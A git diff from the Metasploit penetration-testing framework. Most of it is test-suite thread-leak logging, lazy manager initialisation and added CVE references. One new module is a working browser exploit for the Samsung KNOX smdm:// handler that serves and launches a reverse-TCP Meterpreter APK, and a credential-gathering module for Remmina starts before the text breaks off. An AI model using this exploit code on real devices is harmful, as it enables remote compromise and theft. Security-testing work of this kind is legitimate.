diff --git a/Gemfile.lock b/Gemfile.lock index 12ae7c980e..c6492f47a5 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -123,7 +123,7 @@ GEM metasploit-model (0.28.0) activesupport railties (< 4.0.0) - metasploit_data_models (0.21.1) + metasploit_data_models (0.21.2) activerecord (>= 3.2.13, < 4.0.0) activesupport arel-helpers diff --git a/Rakefile b/Rakefile index 07f916cf2b..e86f1a492c 100755 --- a/Rakefile +++ b/Rakefile @@ -11,4 +11,5 @@ Metasploit::Framework::Require.optionally_active_record_railtie Metasploit::Framework::Application.load_tasks Metasploit::Framework::Spec::Constants.define_task +Metasploit::Framework::Spec::Threads::Suite.define_task Metasploit::Framework::Spec::UntestedPayloads.define_task diff --git a/config/boot.rb b/config/boot.rb index d1c7a63765..d48eec278d 100644 --- a/config/boot.rb +++ b/config/boot.rb @@ -23,15 +23,13 @@ unless ENV['BUNDLE_GEMFILE'] end begin - require 'bundler' + require 'bundler/setup' rescue LoadError $stderr.puts "[*] Metasploit requires the Bundler gem to be installed" $stderr.puts " $ gem install bundler" - exit(0) + exit(1) end -Bundler.setup - lib_path = root.join('lib').to_path unless $LOAD_PATH.include? lib_path diff --git a/lib/metasploit/framework.rb b/lib/metasploit/framework.rb index a43afdc93c..7c2c669797 100644 --- a/lib/metasploit/framework.rb +++ b/lib/metasploit/framework.rb @@ -35,6 +35,7 @@ module Metasploit extend ActiveSupport::Autoload autoload :Spec + autoload :ThreadFactoryProvider # Returns the root of the metasploit-framework project. Use in place of # `Rails.root`. diff --git a/lib/metasploit/framework/spec.rb b/lib/metasploit/framework/spec.rb index ef9a15697f..8ab0ff9aa2 100644 --- a/lib/metasploit/framework/spec.rb +++ b/lib/metasploit/framework/spec.rb @@ -2,4 +2,5 @@ module Metasploit::Framework::Spec extend ActiveSupport::Autoload autoload :Constants + autoload :Threads end \ No newline at end of file diff --git a/lib/metasploit/framework/spec/threads.rb b/lib/metasploit/framework/spec/threads.rb new file mode 100644 index 0000000000..b442a8f4fc --- /dev/null +++ b/lib/metasploit/framework/spec/threads.rb @@ -0,0 +1,5 @@ +module Metasploit::Framework::Spec::Threads + extend ActiveSupport::Autoload + + autoload :Suite +end \ No newline at end of file diff --git a/lib/metasploit/framework/spec/threads/logger.rb b/lib/metasploit/framework/spec/threads/logger.rb new file mode 100644 index 0000000000..88fe58d946 --- /dev/null +++ b/lib/metasploit/framework/spec/threads/logger.rb @@ -0,0 +1,41 @@ +# +# Standard Library +# + +require 'securerandom' + +# +# Project +# + +require 'metasploit/framework/spec/threads/suite' + +original_thread_new = Thread.method(:new) + +# Patches `Thread.new` so that if logs `caller` so thread leaks can be traced +Thread.define_singleton_method(:new) { |*args, &block| + uuid = SecureRandom.uuid + # tag caller with uuid so that only leaked threads caller needs to be printed + lines = ["BEGIN Thread.new caller (#{uuid})"] + + caller.each do |frame| + lines << " #{frame}" + end + + lines << 'END Thread.new caller' + + Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.parent.mkpath + + Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.open('a') { |f| + # single puts so threads can't write in between each other. + f.puts lines.join("\n") + } + + options = {original_args: args, uuid: uuid} + + original_thread_new.call(options) { + # record uuid for thread-leak detection can used uuid to correlate log with this thread. + Thread.current[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] = options.fetch(:uuid) + block.call(*options.fetch(:original_args)) + } +} \ No newline at end of file diff --git a/lib/metasploit/framework/spec/threads/suite.rb b/lib/metasploit/framework/spec/threads/suite.rb new file mode 100644 index 0000000000..c78791c579 --- /dev/null +++ b/lib/metasploit/framework/spec/threads/suite.rb @@ -0,0 +1,214 @@ +require 'pathname' + +# @note needs to use explicit nesting. so this file can be loaded directly without loading 'metasploit/framework' which +# allows for faster loading of rake tasks. +module Metasploit + module Framework + module Spec + module Threads + module Suite + # + # CONSTANTS + # + + # Number of allowed threads when threads are counted in `after(:suite)` or `before(:suite)` + EXPECTED_THREAD_COUNT_AROUND_SUITE = 1 + # `caller` for all Thread.new calls + LOG_PATHNAME = Pathname.new('log/metasploit/framework/spec/threads/suite.log') + # Regular expression for extracting the UUID out of {LOG_PATHNAME} for each Thread.new caller block + UUID_REGEXP = /BEGIN Thread.new caller \((?.*)\)/ + # Name of thread local variable that Thread UUID is stored + UUID_THREAD_LOCAL_VARIABLE = "metasploit/framework/spec/threads/logger/uuid" + + # + # Module Methods + # + + # Configures `before(:suite)` and `after(:suite)` callback to detect thread leaks. + # + # @return [void] + def self.configure! + unless @configured + RSpec.configure do |config| + config.before(:suite) do + thread_count = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list.count + + # check with if first so that error message can be constructed lazily + if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE + # LOG_PATHNAME may not exist if suite run without `rake spec` + if LOG_PATHNAME.exist? + log = LOG_PATHNAME.read() + else + log "Run `rake spec` to log where Thread.new is called." + end + + raise RuntimeError, + "#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when " \ + "only #{EXPECTED_THREAD_COUNT_AROUND_SUITE} " \ + "#{'thread'.pluralize(EXPECTED_THREAD_COUNT_AROUND_SUITE)} expected before suite runs:\n" \ + "#{log}" + end + + LOG_PATHNAME.parent.mkpath + + LOG_PATHNAME.open('a') do |f| + # separator so after(:suite) can differentiate between threads created before(:suite) and during the + # suites + f.puts 'before(:suite)' + end + end + + config.after(:suite) do + LOG_PATHNAME.parent.mkpath + + LOG_PATHNAME.open('a') do |f| + # separator so that a flip flop can be used when reading the file below. Also useful if it turns + # out any threads are being created after this callback, which could be the case if another + # after(:suite) accidentally created threads by creating an Msf::Simple::Framework instance. + f.puts 'after(:suite)' + end + + thread_list = Metasploit::Framework::Spec::Threads::Suite.non_debugger_thread_list + thread_count = thread_list.count + + if thread_count > EXPECTED_THREAD_COUNT_AROUND_SUITE + error_lines = [] + + if LOG_PATHNAME.exist? + caller_by_thread_uuid = Metasploit::Framework::Spec::Threads::Suite.caller_by_thread_uuid + + thread_list.each do |thread| + thread_uuid = thread[Metasploit::Framework::Spec::Threads::Suite::UUID_THREAD_LOCAL_VARIABLE] + + # unmanaged thread, such as the main VM thread + unless thread_uuid + next + end + + caller = caller_by_thread_uuid[thread_uuid] + + error_lines << "Thread #{thread_uuid}'s status is #{thread.status.inspect} " \ + "and was started here:\n" + + error_lines.concat(caller) + end + else + error_lines << "Run `rake spec` to log where Thread.new is called." + end + + raise RuntimeError, + "#{thread_count} #{'thread'.pluralize(thread_count)} exist(s) when only " \ + "#{EXPECTED_THREAD_COUNT_AROUND_SUITE} " \ + "#{'thread'.pluralize(EXPECTED_THREAD_COUNT_AROUND_SUITE)} expected after suite runs:\n" \ + "#{error_lines.join}" + end + end + end + + @configured = true + end + + @configured + end + + def self.define_task + Rake::Task.define_task('metasploit:framework:spec:threads:suite') do + if Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.exist? + Metasploit::Framework::Spec::Threads::Suite::LOG_PATHNAME.delete + end + + parent_pathname = Pathname.new(__FILE__).parent + threads_logger_pathname = parent_pathname.join('logger') + load_pathname = parent_pathname.parent.parent.parent.parent.expand_path + + # Must append to RUBYOPT or Rubymine debugger will not work + ENV['RUBYOPT'] = "#{ENV['RUBYOPT']} -I#{load_pathname} -r#{threads_logger_pathname}" + end + + Rake::Task.define_task(spec: 'metasploit:framework:spec:threads:suite') + end + + # @note Ensure {LOG_PATHNAME} exists before calling. + # + # Yields each line of {LOG_PATHNAME} that happened during the suite run. + # + # @yield [line] + # @yieldparam line [String] a line in the {LOG_PATHNAME} between `before(:suite)` and `after(:suite)` + # @yieldreturn [void] + def self.each_suite_line + in_suite = false + + LOG_PATHNAME.each_line do |line| + if in_suite + if line.start_with?('after(:suite)') + break + else + yield line + end + else + if line.start_with?('before(:suite)') + in_suite = true + end + end + end + end + + # @note Ensure {LOG_PATHNAME} exists before calling. + # + # Yield each line for each Thread UUID gathered during the suite run. + # + # @yield [uuid, line] + # @yieldparam uuid [String] the UUID of thread thread + # @yieldparam line [String] a line in the `caller` for the given `uuid` + # @yieldreturn [void] + def self.each_thread_line + in_thread_caller = false + uuid = nil + + each_suite_line do |line| + if in_thread_caller + if line.start_with?('END Thread.new caller') + in_thread_caller = false + next + else + yield uuid, line + end + else + match = line.match(UUID_REGEXP) + + if match + in_thread_caller = true + uuid = match[:uuid] + end + end + end + end + + # The `caller` for each Thread UUID. + # + # @return [Hash{String => Array}] + def self.caller_by_thread_uuid + lines_by_thread_uuid = Hash.new { |hash, uuid| + hash[uuid] = [] + } + + each_thread_line do |uuid, line| + lines_by_thread_uuid[uuid] << line + end + + lines_by_thread_uuid + end + + # @return + def self.non_debugger_thread_list + Thread.list.reject { |thread| + # don't do `is_a? Debugger::DebugThread` because it requires Debugger::DebugThread to be loaded, which it + # won't when not debugging. + thread.class.name == 'Debugger::DebugThread' + } + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/metasploit/framework/thread_factory_provider.rb b/lib/metasploit/framework/thread_factory_provider.rb new file mode 100644 index 0000000000..2045a4b5bd --- /dev/null +++ b/lib/metasploit/framework/thread_factory_provider.rb @@ -0,0 +1,26 @@ +# Wraps {Msf::Framework} so that {Msf::Framework#threads} is only created on the first call to {#spawn} by +# {Rex::ThreadFactory#spawn}, which allows the threads used by {Msf::ThreadManager} to be created lazily. +# +# @example Setting Rex::ThreadFactory.provider and spawning threads +# Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: framework) +# # framework.threads created here +# Rex::ThreadFactory.spawn("name", false) { ... } +# +class Metasploit::Framework::ThreadFactoryProvider < Metasploit::Model::Base + # + # Attributes + # + + # @!attribute framework + # The framework managing the spawned threads. + # + # @return [Msf::Framework] + attr_accessor :framework + + # Spawns a thread monitored by {Msf::ThreadManager} in {Msf::Framework#threads}. + # + # (see Msf::ThreadManager#spawn) + def spawn(name, critical, *args, &block) + framework.threads.spawn(name, critical, *args, &block) + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 423211ee64..2bc00061ee 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -17,7 +17,6 @@ require 'msf/core/database_event' require 'msf/core/db_import_error' require 'msf/core/host_state' require 'msf/core/service_state' -require 'msf/core/task_manager' # The db module provides persistent storage and events. This class should be instantiated LAST # as the active_suppport library overrides Kernel.require, slowing down all future code loads. @@ -47,7 +46,6 @@ class Msf::DBManager autoload :Service, 'msf/core/db_manager/service' autoload :Session, 'msf/core/db_manager/session' autoload :SessionEvent, 'msf/core/db_manager/session_event' - autoload :Sink, 'msf/core/db_manager/sink' autoload :Task, 'msf/core/db_manager/task' autoload :Vuln, 'msf/core/db_manager/vuln' autoload :VulnAttempt, 'msf/core/db_manager/vuln_attempt' @@ -80,7 +78,6 @@ class Msf::DBManager include Msf::DBManager::Service include Msf::DBManager::Session include Msf::DBManager::SessionEvent - include Msf::DBManager::Sink include Msf::DBManager::Task include Msf::DBManager::Vuln include Msf::DBManager::VulnAttempt @@ -160,11 +157,6 @@ class Msf::DBManager # initialize_adapter - # - # Instantiate the database sink - # - initialize_sink - true end diff --git a/lib/msf/core/db_manager/sink.rb b/lib/msf/core/db_manager/sink.rb deleted file mode 100644 index 25d05baee5..0000000000 --- a/lib/msf/core/db_manager/sink.rb +++ /dev/null @@ -1,34 +0,0 @@ -module Msf::DBManager::Sink - # - # Attributes - # - - # Stores a TaskManager for serializing database events - attr_accessor :sink - - # - # Instance Methods - # - - # - # Create a new database sink and initialize it - # - def initialize_sink - self.sink = Msf::TaskManager.new(framework) - self.sink.start - end - - # - # Add a new task to the sink - # - def queue(proc) - self.sink.queue_proc(proc) - end - - # - # Wait for all pending write to finish - # - def sync - # There is no more queue. - end -end \ No newline at end of file diff --git a/lib/msf/core/exploit/android.rb b/lib/msf/core/exploit/android.rb index ae125e6064..e416884adc 100644 --- a/lib/msf/core/exploit/android.rb +++ b/lib/msf/core/exploit/android.rb @@ -49,8 +49,6 @@ module Exploit::Android // libraryData contains the bytes for a native shared object built via NDK // which will load the "stage", which in this case is our android meterpreter stager. - // LibraryData is loaded via ajax later, because we have to access javascript in - // order to detect what arch we are running. var libraryData = "#{Rex::Text.to_octal(ndkstager(stagename, arch), '\\\\0')}"; // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 55fc46e557..9bc518651c 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -1,4 +1,15 @@ # -*- coding: binary -*- + +# +# Standard Library +# + +require 'monitor' + +# +# Project +# + require 'metasploit/framework/version' require 'msf/core' require 'msf/util' @@ -12,6 +23,7 @@ module Msf # ### class Framework + include MonitorMixin # # Versioning information @@ -66,22 +78,22 @@ class Framework # # Creates an instance of the framework context. # - def initialize(opts={}) + def initialize(options={}) + self.options = options + # call super to initialize MonitorMixin. #synchronize won't work without this. + super() # Allow specific module types to be loaded - types = opts[:module_types] || Msf::MODULE_TYPES + types = options[:module_types] || Msf::MODULE_TYPES - self.threads = ThreadManager.new(self) self.events = EventDispatcher.new(self) self.modules = ModuleManager.new(self,types) - self.sessions = SessionManager.new(self) self.datastore = DataStore.new self.jobs = Rex::JobContainer.new self.plugins = PluginManager.new(self) - self.db = DBManager.new(self, opts) # Configure the thread factory - Rex::ThreadFactory.provider = self.threads + Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self) subscriber = FrameworkEventSubscriber.new(self) events.add_exploit_subscriber(subscriber) @@ -155,11 +167,6 @@ class Framework # attr_reader :modules # - # Session manager that tracks sessions associated with this framework - # instance over the course of their lifetime. - # - attr_reader :sessions - # # The global framework datastore that can be used by modules. # attr_reader :datastore @@ -180,28 +187,62 @@ class Framework # unloading of plugins. # attr_reader :plugins - # + # The framework instance's db manager. The db manager # maintains the database db and handles db events # - attr_reader :db + # @return [Msf::DBManager] + def db + synchronize { + @db ||= Msf::DBManager.new(self, options) + } + end + + # Session manager that tracks sessions associated with this framework + # instance over the course of their lifetime. # + # @return [Msf::SessionManager] + def sessions + synchronize { + @sessions ||= Msf::SessionManager.new(self) + } + end + # The framework instance's thread manager. The thread manager # provides a cleaner way to manage spawned threads # - attr_reader :threads + # @return [Msf::ThreadManager] + def threads + synchronize { + @threads ||= Msf::ThreadManager.new(self) + } + end + + # Whether {#threads} has been initialized + # + # @return [true] if {#threads} has been initialized + # @return [false] otherwise + def threads? + synchronize { + instance_variable_defined? :@threads + } + end protected + # @!attribute options + # Options passed to {#initialize} + # + # @return [Hash] + attr_accessor :options + attr_writer :events # :nodoc: attr_writer :modules # :nodoc: - attr_writer :sessions # :nodoc: attr_writer :datastore # :nodoc: attr_writer :auxmgr # :nodoc: attr_writer :jobs # :nodoc: attr_writer :plugins # :nodoc: attr_writer :db # :nodoc: - attr_writer :threads # :nodoc: end class FrameworkEventSubscriber diff --git a/lib/msf/core/payload/dalvik.rb b/lib/msf/core/payload/dalvik.rb index 66c0345f2b..0785fbd036 100644 --- a/lib/msf/core/payload/dalvik.rb +++ b/lib/msf/core/payload/dalvik.rb @@ -60,6 +60,10 @@ module Msf::Payload::Dalvik # with a key whose validity expires before that date. # """ cert.not_after = cert.not_before + 3600*24*365*20 # 20 years + + # If this line is left out, signature verification fails on OSX. + cert.sign(key, OpenSSL::Digest::SHA1.new) + return cert, key end end diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 1d148f7028..d5208a11f9 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -31,6 +31,23 @@ module Msf::Post::File end end + # Returns a list of the contents of the specified directory + # @param directory [String] the directory to list + # @return [Array] the contents of the directory + def dir(directory) + if session.type == 'meterpreter' + return session.fs.dir.entries(directory) + else + if session.platform =~ /win/ + return session.shell_command_token("dir #{directory}").split(/[\r\n]+/) + else + return session.shell_command_token("ls #{directory}").split(/[\r\n]+/) + end + end + end + + alias ls dir + # # See if +path+ exists on the remote system and is a directory # diff --git a/lib/msf/core/task_manager.rb b/lib/msf/core/task_manager.rb deleted file mode 100644 index 54f6399608..0000000000 --- a/lib/msf/core/task_manager.rb +++ /dev/null @@ -1,238 +0,0 @@ -# -*- coding: binary -*- -module Msf - -### -# -# This class provides a task manager -# -### - -class TaskManager - - class Task - attr_accessor :timeout - attr_accessor :created - attr_accessor :completed - attr_accessor :status - attr_accessor :proc - attr_accessor :source - attr_accessor :exception - - # - # Create a new task - # - def initialize(proc,timeout=nil) - self.proc = proc - self.status = :new - self.created = Time.now - self.timeout = timeout - self.source = caller - end - - # - # Task duration in seconds (float) - # - def duration - etime = self.completed || Time.now - etime.to_f - self.created.to_f - end - - def wait - while self.status == :new - ::IO.select(nil,nil,nil,0.10) - end - return self.status - end - - # - # Run the associated proc - # - def run(*args) - self.proc.call(*args) if self.proc - end - - end - - - attr_accessor :processing - attr_accessor :queue - attr_accessor :thread - attr_accessor :framework - - # - # Create a new TaskManager - # - def initialize(framework) - self.framework = framework - self.flush - end - - # - # Add a new task via proc - # - def queue_proc(proc) - task = Task.new(proc) - queue_task(task) - return task - end - - # - # Add a new task to the queue unless we are called - # by the queue thread itself. - # - def queue_task(task) - if Thread.current[:task_manager] - process_task(task) - else - self.queue.push(task) - end - end - - # - # Flush the queue - # - def flush - self.queue = [] - end - - # - # Stop processing events - # - def stop - return if not self.thread - self.processing = false - self.thread.join - self.thread = nil - end - - # - # Forcefully kill the processing thread - # - def kill - return if not self.thread - self.processing = false - self.thread.kill - self.thread = nil - end - - # - # Start processing tasks - # - def start - return if self.thread - self.processing = true - self.thread = framework.threads.spawn("TaskManager", true) do - begin - process_tasks - rescue ::Exception => e - elog("taskmanager: process_tasks exception: #{e.class} #{e} #{e.backtrace}") - retry - end - end - - # Mark this thread as the task manager - self.thread[:task_manager] = true - - # Return the thread object to the caller - self.thread - end - - # - # Restart the task processor - # - def restart - stop - start - end - - # - # Retrieve the number of tasks in the queue - # - def backlog - self.queue.length - end - - # - # Process the actual queue - # - def process_tasks - spin = 50 - ltask = nil - - while(self.processing) - cnt = 0 - while(task = self.queue.shift) - stime = Time.now.to_f - ret = process_task(task) - etime = Time.now.to_f - - case ret - when :requeue - self.queue.push(task) - when :drop, :done - # Processed or dropped - end - cnt += 1 - - ltask = task - end - - spin = (cnt == 0) ? (spin + 1) : 0 - - if spin > 10 - ::IO.select(nil, nil, nil, 0.25) - end - - end - self.thread = nil - end - - # - # Process a specific task from the queue - # - def process_task(task) - begin - if(task.timeout) - ::Timeout.timeout(task.timeout) do - task.run(self, task) - end - else - task.run(self, task) - end - rescue ::ThreadError - # Ignore these (caused by a return inside of the proc) - rescue ::Exception => e - - if(e.class == ::Timeout::Error) - elog("taskmanager: task #{task.inspect} timed out after #{task.timeout} seconds") - task.status = :timeout - task.completed = Time.now - return :drop - end - - elog("taskmanager: task triggered an exception: #{e.class} #{e}") - elog("taskmanager: task proc: #{task.proc.inspect} ") - elog("taskmanager: task Call stack: \n#{task.source.join("\n")} ") - dlog("Call stack:\n#{$@.join("\n")}") - - task.status = :dropped - task.exception = e - return :drop - - end - task.status = :done - task.completed = Time.now - return :done - end - - def log_error(msg) - elog(msg, 'core') - end - - def log_debug(msg) - dlog(msg, 'core') - end - -end -end - diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb index 8e54bf1241..9ed0034a31 100644 --- a/modules/auxiliary/gather/d20pass.rb +++ b/modules/auxiliary/gather/d20pass.rb @@ -28,6 +28,10 @@ class Metasploit3 < Msf::Auxiliary }, 'Author' => [ 'K. Reid Wightman ' ], 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2012-6663'], + ], 'DisclosureDate' => 'Jan 19 2012' )) diff --git a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb index a0312223b5..17240bdcf3 100644 --- a/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb +++ b/modules/auxiliary/scanner/tftp/ipswitch_whatsupgold_tftp.rb @@ -29,7 +29,8 @@ class Metasploit3 < Msf::Auxiliary ['OSVDB', '77455'], ['BID', '50890'], ['EDB', '18189'], - ['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'] + ['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'], + ['CVE', '2011-4722'] ], 'DisclosureDate' => "Dec 12 2011" )) diff --git a/modules/auxiliary/server/browser_autopwn.rb b/modules/auxiliary/server/browser_autopwn.rb index 7a4d3c4144..8df9a3f552 100644 --- a/modules/auxiliary/server/browser_autopwn.rb +++ b/modules/auxiliary/server/browser_autopwn.rb @@ -225,7 +225,7 @@ class Metasploit3 < Msf::Auxiliary } function bodyOnLoad() { - var detected_version = window.os_detect.getVersion(); + var detected_version = os_detect.getVersion(); //#{js_debug('detected_version')} report_and_get_exploits(detected_version); } // function bodyOnLoad @@ -851,7 +851,7 @@ class Metasploit3 < Msf::Auxiliary return !! client_str.match(module_spec) when ::Array return !! exploit_spec.map{ |spec| - client_matches_module_spec?(client_str, spec) + client_matches_module_spec?(client_str, spec) }.include?(true) end @@ -935,7 +935,6 @@ class Metasploit3 < Msf::Auxiliary detected_version = Rex::Text.decode_base64(Rex::Text.uri_decode(detected_version)) print_status("JavaScript Report: #{detected_version}") - (os_name, os_vendor, os_flavor, os_device, os_sp, os_lang, arch, ua_name, ua_ver) = detected_version.split(':') if framework.db.active @@ -947,7 +946,7 @@ class Metasploit3 < Msf::Auxiliary note_data['os.version'] = os_sp if os_sp != 'undefined' note_data['os.language'] = os_lang if os_lang != 'undefined' note_data['os.arch'] = arch if arch != 'undefined' - note_data['os.certainty'] = '0.7' + note_data['os.certainty'] = '0.7' print_status("Reporting: #{note_data.inspect}") # Reporting stuff isn't really essential since we store all diff --git a/modules/auxiliary/spoof/cisco/dtp.rb b/modules/auxiliary/spoof/cisco/dtp.rb index 7c02c08943..1dc7c4f231 100644 --- a/modules/auxiliary/spoof/cisco/dtp.rb +++ b/modules/auxiliary/spoof/cisco/dtp.rb @@ -31,6 +31,13 @@ class Metasploit3 < Msf::Auxiliary deregister_options('RHOST', 'PCAPFILE') end + def setup + super + unless datastore['SMAC'] || datastore['INTERFACE'] + raise ArgumentError, 'Must specify SMAC or INTERFACE' + end + end + def build_dtp_frame p = PacketFu::EthPacket.new p.eth_daddr = '01:00:0c:cc:cc:cc' diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 2b1cd69b59..0916ac71dd 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -67,6 +67,7 @@ class Metasploit3 < Msf::Auxiliary while @run # Not exactly thrilled we can never turn this off XXX fix this sometime. packet, addr = @sock.recvfrom(512) + src_port = addr[1] rhost = addr[3] break if packet.length == 0 @@ -127,7 +128,7 @@ class Metasploit3 < Msf::Auxiliary p.ip_daddr = rhost p.ip_ttl = 255 p.udp_sport = 137 - p.udp_dport = 137 + p.udp_dport = src_port p.payload = response p.recalc diff --git a/modules/exploits/android/browser/samsung_knox_smdm_url.rb b/modules/exploits/android/browser/samsung_knox_smdm_url.rb new file mode 100644 index 0000000000..4616753613 --- /dev/null +++ b/modules/exploits/android/browser/samsung_knox_smdm_url.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'digest/md5' + +class Metasploit3 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::BrowserExploitServer + + # Hash that maps payload ID -> (0|1) if an HTTP request has + # been made to download a payload of that ID + attr_reader :served_payloads + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Samsung Galaxy KNOX Android Browser RCE', + 'Description' => %q{ + A vulnerability exists in the KNOX security component of the Samsung Galaxy + firmware that allows a remote webpage to install an APK with arbitrary + permissions by abusing the 'smdm://' protocol handler registered by the KNOX + component. + + The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3, + and Ace 4. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Andre Moulu', # discovery and advisory + 'joev' # msf module + ], + 'References' => [ + ['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html'], + ['OSVDB', '114590'] + ], + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, + 'Targets' => [ [ 'Automatic', {} ] ], + 'DisclosureDate' => 'Nov 12 2014', + 'DefaultTarget' => 0, + + 'BrowserRequirements' => { + :source => 'script', + :os_name => OperatingSystems::Match::ANDROID + } + )) + + register_options([ + OptString.new('APK_VERSION', [ + false, "The update version to advertise to the client", "1337" + ]) + ], self.class) + + deregister_options('JsObfuscate') + end + + def exploit + @served_payloads = Hash.new(0) + super + end + + def apk_bytes + payload.encoded + end + + def on_request_uri(cli, req) + if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/ + if req.method.upcase == 'HEAD' + print_status "Serving metadata..." + send_response(cli, '', magic_headers) + else + print_status "Serving payload '#{$1}'..." + @served_payloads[$1] = 1 + send_response(cli, apk_bytes, magic_headers) + end + elsif req.uri =~ /_poll/ + vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}" + send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain') + elsif req.uri =~ /launch$/ + send_response_html(cli, launch_html) + else + super + end + end + + # The browser appears to be vulnerable, serve the exploit + def on_request_exploit(cli, req, browser) + print_status "Serving exploit..." + send_response_html(cli, generate_html) + end + + def magic_headers + { 'Content-Length' => apk_bytes.length, + 'ETag' => Digest::MD5.hexdigest(apk_bytes), + 'x-amz-meta-apk-version' => datastore['APK_VERSION'] } + end + + def generate_html + %Q| + + + + | + end + + def exploit_js + payload_id = rand_word + + js_obfuscate %Q| + + function poll() { + var xhr = new XMLHttpRequest(); + xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999); + xhr.onreadystatechange = function(){ + if (xhr.readyState == 4) { + if (xhr.responseText == '1') { + setTimeout(killEnrollment, 100); + } else { + setTimeout(poll, 1000); + setTimeout(enroll, 0); + setTimeout(enroll, 500); + } + } + }; + xhr.onerror = function(){ + setTimeout(poll, 1000); + setTimeout(enroll, 0); + }; + xhr.send(); + } + + function enroll() { + var loc = window.location.href.replace(/[/.]$/g, ''); + top.location = 'smdm://#{rand_word}?update_url='+ + encodeURIComponent(loc)+'/#{payload_id}.apk'; + } + + function killEnrollment() { + top.location = "intent://#{rand_word}?program="+ + "#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end"; + setTimeout(launchApp, 300); + } + + function launchApp() { + top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end'; + } + + enroll(); + setTimeout(poll,600); + + | + end + + def rand_word + Rex::Text.rand_text_alphanumeric(3+rand(12)) + end +end diff --git a/modules/exploits/windows/local/ikeext_service.rb b/modules/exploits/windows/local/ikeext_service.rb index e0dc12af1b..9a95a6a22f 100644 --- a/modules/exploits/windows/local/ikeext_service.rb +++ b/modules/exploits/windows/local/ikeext_service.rb @@ -163,15 +163,15 @@ class Metasploit3 < Msf::Exploit::Local def check_dirs print_status("Attempting to create a non-existant PATH dir to use.") - @non_existant_dirs.each do |dir| + @non_existant_dirs.each do |directory| begin - client.fs.dir.mkdir(dir) - if exist?(dir) - register_file_for_cleanup(dir) - return dir + client.fs.dir.mkdir(directory) + if exist?(directory) + register_file_for_cleanup(directory) + return directory end rescue Rex::Post::Meterpreter::RequestError => e - vprint_status("Unable to create dir: #{dir} - #{e}") + vprint_status("Unable to create dir: #{directory} - #{e}") end end diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index c8b5897710..c2c9b1172c 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -230,7 +230,7 @@ class Metasploit3 < Msf::Exploit::Remote psexec(file_location, false, servicedescription, servicename, displayname) print_status("Deleting \\#{filename}...") - sleep(1) + #This is not really useful but will prevent double \\ on the wire :) if datastore['SHARE'] =~ /.[\\\/]/ simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}") diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb index 5a297a5441..146664e239 100644 --- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb @@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote [ ['OSVDB', '80984'], ['EDB', '18718'], - ['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'] + ['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'], + ['CVE', '2012-6664'] ], 'Payload' => { diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb new file mode 100644 index 0000000000..a7f9b7ff42 --- /dev/null +++ b/modules/post/multi/gather/remmina_creds.rb @@ -0,0 +1,188 @@ +# encoding: binary +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info = {}) + super(update_info( + info, + 